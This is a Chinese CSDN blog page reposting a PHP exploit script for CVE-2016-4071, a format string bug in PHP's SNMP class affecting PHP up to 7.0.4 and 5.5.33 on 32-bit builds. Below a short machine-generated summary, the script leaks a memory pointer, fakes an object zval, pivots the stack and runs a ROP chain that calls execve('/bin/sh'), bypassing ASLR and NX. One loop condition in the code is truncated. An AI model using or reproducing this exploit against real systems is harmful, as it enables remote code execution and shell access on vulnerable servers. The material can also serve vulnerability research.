php 5.6.15漏洞,CVE-2016-4071

这篇博客详细介绍了如何利用PHP的SNMP类中的格式字符串漏洞进行代码执行。作者通过创建并操纵内存中的zval对象,巧妙地绕过ASLR和NX保护,实现了可靠的EIP控制。博客中还提到了原始思路来自于Stefan Esser,并提供了利用此漏洞的ROP链构造过程。
摘要由CSDN通过智能技术生成

// PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)

// By Andrew Kramer

// Should bypass ASLR/NX just fine

// This exploit utilizes PHP's internal "%Z" (zval)

// format specifier in order to achieve code-execution.

// We fake an object-type zval in memory and then bounce

// through it carefully. First though, we use the same

// bug to leak a pointer to the string itself. We can

// then edit the global variable with correct pointers

// before hitting it a second time to get EIP. This

// makes it super reliable! Like... 100%.

// To my knowledge this hasn't really been done before, but

// credit to Stefan Esser (@i0n1c) for the original idea. It works!

// https://twitter.com/i0n1c/status/664706994478161920

// All the ROP gadgets are from a binary I compiled myself.

// If you want to use this yourself, you'll probably need

// to build a new ROP chain and find new stack pivots for

// whatever binary you're targeting. If you just want to get

// EIP, change $stack_pivot_1 to 0x41414141 below.

// pass-by-reference here so we keep things tidy

function trigger(&$format_string) {

$session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");

// you MUST set exceptions_enabled in order to trigger this

$session->exceptions_enabled = SNMP::ERRNO_ANY;

try {

$session->get($format_string);

} catch (SNMPException $e) {

return $e->getMessage();

}

}

// overwrite either $payload_{1,2} with $str at $offset

function overwrite($which, $str, $offset) {

// these need to be global so PHP doesn't just copy them

global $payload_1, $payload_2;

// we MUST copy byte-by-byte so PHP doesn't realloc

for($c=0; $c

switch($which) {

case 1:

$payload_1[$offset + $c] = $str[$c];

break;

case 2:

$payload_2[$offset + $c] = $str[$c];

break;

}

}

}

echo "> Setting up payloads\n";

//$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit

$stack_pivot_1 = pack("L", 0x0807c19f);// xchg esp ebx

$stack_pivot_2 = pack("L", 0x0809740e);// add esp, 0x14

// this is used at first to leak the pointer to $payload_1

$leak_str =str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t";

$trampoline_offset = strlen($leak_str);

// used to leak a pointer and also to store ROP chain

$payload_1 =

$leak_str .// leak a pointer

"XXXX" .// will be overwritten later

$stack_pivot_1 .// initial EIP (rop start)

// ROP: execve('/bin/sh',0,0)

pack("L", 0x080f0bb7) .// xor ecx, ecx; mov eax, ecx

pack("L", 0x0814491f) .// xchg edx, eax

pack("L", 0x0806266d) .// pop ebx

pack("L", 0x084891fd) .// pointer to /bin/sh

pack("L", 0x0807114c) .// pop eax

pack("L", 0xfffffff5) .// -11

pack("L", 0x081818de) .// neg eax

pack("L", 0x081b5faa);// int 0x80

// used to trigger the exploit once we've patched everything

$payload_2 =

"XXXX" .// will be overwritten later

"XXXX" .// just padding, whatevs

"\x08X" .// zval type OBJECT

str_repeat("%d", 13) . "%Z";// trigger the exploit

// leak a pointer

echo "> Attempting to leak a pointer\n";

$data = trigger($payload_1);

$trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset;

echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "\n";

// If there are any null bytes or percent signs in the pointer, it will break

// the -0x10 will be applied later, so do it now too

if(strpos(pack("L", $trampoline_ptr - 0x10), "\x00") !== false

|| strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {

echo "> That pointer has a bad character in it\n";

echo "> This won't work. Bailing out... :(\n";

exit(0);

}

echo "> Overwriting payload with calculated offsets\n";

// prepare the trampoline

// code looks kinda like...

// mov eax, [eax+0x10]

// mov eax, [eax+0x54]

// call eax

overwrite(2, pack("L", $trampoline_ptr - 0x10), 0);

overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset);

// exploit

echo "> Attempting to pop a shell\n";

trigger($payload_2);

// if we make it here, something didn't work

echo "> Exploit failed :(\n";

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值